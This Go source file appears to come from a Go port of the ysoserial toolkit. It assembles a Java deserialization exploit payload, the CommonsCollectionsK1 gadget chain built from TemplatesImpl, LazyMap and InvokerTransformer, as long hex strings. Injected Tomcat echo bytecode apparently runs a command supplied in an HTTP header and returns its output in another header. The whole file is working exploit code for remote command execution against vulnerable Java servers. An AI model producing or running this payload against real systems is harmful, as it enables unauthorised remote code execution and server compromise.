package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CCK1TomcatEcho = "CommonsCollectionsK1TomcatEcho"

func GetCCK1TomcatEcho(echoHeaderName, cmdHeaderName string) []byte {
	globalPrefix := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C3166" +
		"0D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000" +
		"000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6" +
		"C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11F" +
		"DB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D61707" +
		"4000F4C6A6176612F7574696C2F4D61703B78707372003A636F6D2E73756E2E6F72672E6170" +
		"616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C617" +
		"46573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F" +
		"7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636" +
		"C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A" +
		"6176612F6C616E672F537472696E673B4C00115F6F757470757450726F70657274696573740" +
		"0164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF75720003" +
		"5B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007" +
		"870"
	tomcatEcho := GetTomcatEcho(echoHeaderName, cmdHeaderName)
	tomcatEchoStr := hex.EncodeToString(tomcatEcho)
	length := len(tomcatEcho)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7074000450776E7270770100787372002A6F72672E6170616368652E636F6D6" +
		"D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300" +
		"014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6" +
		"C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E" +
		"636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B6572547" +
		"2616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A617661" +
		"2F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506" +
		"172616D547970657371007E00087870757200135B4C6A6176612E6C616E672E4F626A656374" +
		"3B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D657275720" +
		"0125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A9902000078700000000073" +
		"71007E00003F4000000000000C7708000000100000000078787400017478"
	data, _ := hex.DecodeString(globalPrefix + lenStr + tomcatEchoStr + globalSuffix)
	return data
}
